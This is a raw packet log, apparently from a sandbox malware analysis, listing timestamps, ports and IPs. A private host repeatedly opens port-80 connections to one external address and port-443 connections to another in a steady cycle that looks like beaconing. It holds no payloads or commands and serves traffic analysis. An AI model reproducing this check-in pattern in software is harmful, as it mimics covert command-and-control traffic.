Jan 10, 2025 23:12:05.274123907 CET	49984	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:05.278928041 CET	80	49984	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:05.984201908 CET	80	49984	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:05.986001968 CET	49985	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:05.986052036 CET	443	49985	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:05.986155033 CET	49985	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:05.986579895 CET	49985	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:05.986593962 CET	443	49985	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:06.039518118 CET	49984	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:06.594722033 CET	443	49985	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:06.596864939 CET	49985	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:06.596894026 CET	443	49985	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:06.596966982 CET	49985	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:06.596977949 CET	443	49985	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:06.806262016 CET	443	49985	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:06.806372881 CET	443	49985	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:06.806431055 CET	49985	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:06.806885004 CET	49985	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:06.810456991 CET	49984	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:06.811644077 CET	49986	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:06.815484047 CET	80	49984	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:06.815556049 CET	49984	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:06.816521883 CET	80	49986	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:06.816593885 CET	49986	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:06.816690922 CET	49986	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:06.821516991 CET	80	49986	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:07.507061958 CET	80	49986	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:07.508620024 CET	49987	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:07.508671999 CET	443	49987	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:07.508758068 CET	49987	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:07.509025097 CET	49987	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:07.509037971 CET	443	49987	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:07.555201054 CET	49986	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:08.117875099 CET	443	49987	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:08.162035942 CET	49987	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:08.162067890 CET	443	49987	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:08.162127018 CET	49987	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:08.162136078 CET	443	49987	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:08.373636961 CET	443	49987	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:08.373852015 CET	443	49987	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:08.373909950 CET	49987	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:08.383491993 CET	49987	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:08.397205114 CET	49986	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:08.398389101 CET	49988	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:08.402223110 CET	80	49986	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:08.402287960 CET	49986	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:08.403219938 CET	80	49988	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:08.403290987 CET	49988	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:08.403481007 CET	49988	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:08.408269882 CET	80	49988	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:09.103066921 CET	80	49988	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:09.104660034 CET	49989	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:09.104768038 CET	443	49989	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:09.104862928 CET	49989	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:09.105180025 CET	49989	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:09.105216026 CET	443	49989	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:09.148964882 CET	49988	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:09.774422884 CET	443	49989	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:09.776448011 CET	49989	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:09.776477098 CET	443	49989	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:09.776546001 CET	49989	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:09.776555061 CET	443	49989	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:09.991175890 CET	443	49989	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:09.991398096 CET	443	49989	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:09.991596937 CET	49989	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:09.992038965 CET	49989	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:09.995480061 CET	49988	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:09.996536016 CET	49990	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:10.000459909 CET	80	49988	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:10.001815081 CET	80	49990	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:10.001882076 CET	49988	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:10.001915932 CET	49990	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:10.002064943 CET	49990	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:10.006762028 CET	80	49990	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:10.675221920 CET	80	49990	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:10.677120924 CET	49992	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:10.677166939 CET	443	49992	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:10.677283049 CET	49992	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:10.677582979 CET	49992	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:10.677592039 CET	443	49992	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:10.727041006 CET	49990	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:11.288492918 CET	443	49992	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:11.295609951 CET	49992	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:11.295639992 CET	443	49992	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:11.295691013 CET	49992	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:11.295697927 CET	443	49992	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:11.628130913 CET	443	49992	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:11.628298044 CET	443	49992	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:11.628356934 CET	49992	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:11.628710985 CET	49992	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:11.631911039 CET	49990	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:11.632736921 CET	49993	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:11.636903048 CET	80	49990	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:11.637109041 CET	49990	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:11.637538910 CET	80	49993	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:11.637835979 CET	49993	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:11.637964964 CET	49993	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:11.642899036 CET	80	49993	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:12.316365957 CET	80	49993	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:12.318017960 CET	49994	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:12.318074942 CET	443	49994	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:12.318181992 CET	49994	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:12.318537951 CET	49994	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:12.318556070 CET	443	49994	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:12.368649960 CET	49993	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:12.994411945 CET	443	49994	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:12.996404886 CET	49994	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:12.996417046 CET	443	49994	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:12.996476889 CET	49994	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:12.996480942 CET	443	49994	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:13.282890081 CET	443	49994	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:13.283085108 CET	443	49994	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:13.283143997 CET	49994	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:13.283546925 CET	49994	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:13.287055969 CET	49993	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:13.288254023 CET	49995	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:13.292217970 CET	80	49993	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:13.292284966 CET	49993	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:13.293103933 CET	80	49995	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:13.293171883 CET	49995	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:13.293323040 CET	49995	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:13.298119068 CET	80	49995	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:13.975909948 CET	80	49995	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:13.977673054 CET	49996	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:13.977729082 CET	443	49996	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:13.977910042 CET	49996	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:13.978281021 CET	49996	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:13.978297949 CET	443	49996	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:14.023956060 CET	49995	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:14.597584963 CET	443	49996	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:14.599457979 CET	49996	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:14.599478960 CET	443	49996	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:14.599525928 CET	49996	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:14.599533081 CET	443	49996	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:14.861839056 CET	443	49996	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:14.862039089 CET	443	49996	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:14.862104893 CET	49996	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:14.862592936 CET	49996	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:14.868804932 CET	49995	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:14.869643927 CET	49997	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:14.873770952 CET	80	49995	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:14.873826027 CET	49995	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:14.874551058 CET	80	49997	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:14.874610901 CET	49997	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:14.874728918 CET	49997	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:14.879585028 CET	80	49997	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:15.584177971 CET	80	49997	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:15.585939884 CET	49998	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:15.586034060 CET	443	49998	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:15.586149931 CET	49998	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:15.586474895 CET	49998	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:15.586500883 CET	443	49998	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:15.633368969 CET	49997	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:16.203337908 CET	443	49998	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:16.205971956 CET	49998	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:16.205995083 CET	443	49998	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:16.206151962 CET	49998	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:16.206159115 CET	443	49998	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:17.130688906 CET	443	49998	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:17.130918026 CET	443	49998	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:17.131005049 CET	49998	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:17.131531000 CET	49998	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:17.135556936 CET	49997	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:17.136714935 CET	49999	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:17.140650988 CET	80	49997	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:17.140721083 CET	49997	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:17.141570091 CET	80	49999	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:17.141648054 CET	49999	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:17.141777039 CET	49999	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:17.146553993 CET	80	49999	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:17.826138973 CET	80	49999	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:17.841301918 CET	50000	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:17.841346025 CET	443	50000	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:17.841408014 CET	50000	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:17.841845989 CET	50000	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:17.841854095 CET	443	50000	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:17.867748976 CET	49999	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:18.463675976 CET	443	50000	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:18.465531111 CET	50000	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:18.465559006 CET	443	50000	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:18.465607882 CET	50000	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:18.465612888 CET	443	50000	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:18.755801916 CET	443	50000	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:18.756026983 CET	443	50000	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:18.756072998 CET	50000	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:18.757019997 CET	50000	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:18.763876915 CET	49999	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:18.765486956 CET	50001	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:18.769037962 CET	80	49999	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:18.769095898 CET	49999	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:18.770288944 CET	80	50001	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:18.770349979 CET	50001	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:18.770514011 CET	50001	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:18.775279045 CET	80	50001	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:19.448154926 CET	80	50001	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:19.449904919 CET	50002	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:19.449963093 CET	443	50002	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:19.450073004 CET	50002	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:19.450423002 CET	50002	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:19.450437069 CET	443	50002	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:19.492815971 CET	50001	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:20.067507029 CET	443	50002	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:20.069606066 CET	50002	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:20.069633007 CET	443	50002	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:20.069701910 CET	50002	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:20.069714069 CET	443	50002	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:20.282361984 CET	443	50002	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:20.282598019 CET	443	50002	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:20.282809019 CET	50002	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:20.283083916 CET	50002	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:20.286483049 CET	50001	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:20.287648916 CET	50003	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:20.291394949 CET	80	50001	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:20.291485071 CET	50001	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:20.294881105 CET	80	50003	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:20.294954062 CET	50003	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:20.295130014 CET	50003	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:20.300597906 CET	80	50003	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:21.003470898 CET	80	50003	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:21.004916906 CET	50004	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:21.004978895 CET	443	50004	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:21.005050898 CET	50004	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:21.005383968 CET	50004	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:21.005402088 CET	443	50004	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:21.055181026 CET	50003	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:21.618637085 CET	443	50004	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:21.664635897 CET	50004	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:21.674405098 CET	50004	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:21.674437046 CET	443	50004	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:21.674514055 CET	50004	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:21.674525976 CET	443	50004	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:21.929049015 CET	443	50004	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:21.929137945 CET	443	50004	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:21.929191113 CET	50004	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:21.938342094 CET	50004	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:21.966947079 CET	50003	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:21.968820095 CET	50005	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:21.971991062 CET	80	50003	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:21.972047091 CET	50003	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:21.973571062 CET	80	50005	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:21.973629951 CET	50005	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:21.973793030 CET	50005	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:21.978555918 CET	80	50005	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:22.674274921 CET	80	50005	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:22.676007986 CET	50006	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:22.676062107 CET	443	50006	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:22.676156044 CET	50006	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:22.676456928 CET	50006	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:22.676471949 CET	443	50006	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:22.727248907 CET	50005	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:23.299375057 CET	443	50006	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:23.301276922 CET	50006	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:23.301306963 CET	443	50006	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:23.301373959 CET	50006	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:23.301379919 CET	443	50006	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:23.510442019 CET	443	50006	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:23.510510921 CET	443	50006	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:23.510620117 CET	50006	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:23.511207104 CET	50006	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:23.514564991 CET	50005	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:23.515839100 CET	50007	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:23.519529104 CET	80	50005	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:23.519618034 CET	50005	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:23.520591974 CET	80	50007	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:23.520647049 CET	50007	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:24.523998976 CET	50007	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:24.528892994 CET	80	50007	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:24.529021025 CET	50007	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:24.529258013 CET	50007	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:24.534034014 CET	80	50007	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:25.224337101 CET	80	50007	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:25.225759983 CET	50008	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:25.225807905 CET	443	50008	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:25.225878000 CET	50008	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:25.226283073 CET	50008	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:25.226296902 CET	443	50008	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:25.274065971 CET	50007	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:25.860657930 CET	443	50008	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:25.862776041 CET	50008	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:25.862804890 CET	443	50008	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:25.862884045 CET	50008	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:25.862896919 CET	443	50008	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:26.221888065 CET	443	50008	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:26.221976042 CET	443	50008	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:26.222157955 CET	50008	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:26.222794056 CET	50008	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:26.226202011 CET	50007	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:26.227459908 CET	50009	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:26.231328964 CET	80	50007	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:26.231416941 CET	50007	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:26.232290030 CET	80	50009	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:26.232372046 CET	50009	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:26.232584000 CET	50009	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:26.237376928 CET	80	50009	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:26.935705900 CET	80	50009	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:26.937437057 CET	50010	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:26.937557936 CET	443	50010	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:26.937686920 CET	50010	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:26.938010931 CET	50010	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:26.938045979 CET	443	50010	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:26.977180004 CET	50009	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:27.548384905 CET	443	50010	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:27.550390959 CET	50010	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:27.550457001 CET	443	50010	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:27.550558090 CET	50010	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:27.550571918 CET	443	50010	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:27.866807938 CET	443	50010	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:27.867024899 CET	443	50010	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:27.867113113 CET	50010	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:27.867764950 CET	50010	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:27.871054888 CET	50009	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:27.872523069 CET	50011	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:27.876069069 CET	80	50009	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:27.876148939 CET	50009	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:27.877356052 CET	80	50011	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:27.877419949 CET	50011	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:27.877578974 CET	50011	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:27.882340908 CET	80	50011	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:28.562705994 CET	80	50011	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:28.580652952 CET	50012	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:28.580704927 CET	443	50012	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:28.580900908 CET	50012	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:28.581087112 CET	50012	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:28.581099033 CET	443	50012	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:28.617866039 CET	50011	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:29.217010975 CET	443	50012	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:29.218977928 CET	50012	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:29.219019890 CET	443	50012	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:29.219101906 CET	50012	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:29.219109058 CET	443	50012	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:29.438782930 CET	443	50012	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:29.438992977 CET	443	50012	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:29.439152002 CET	50012	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:29.439465046 CET	50012	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:29.442655087 CET	50011	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:29.443944931 CET	50013	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:29.447658062 CET	80	50011	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:29.447760105 CET	50011	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:29.448899031 CET	80	50013	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:29.448977947 CET	50013	80	192.168.2.9	132.226.247.73
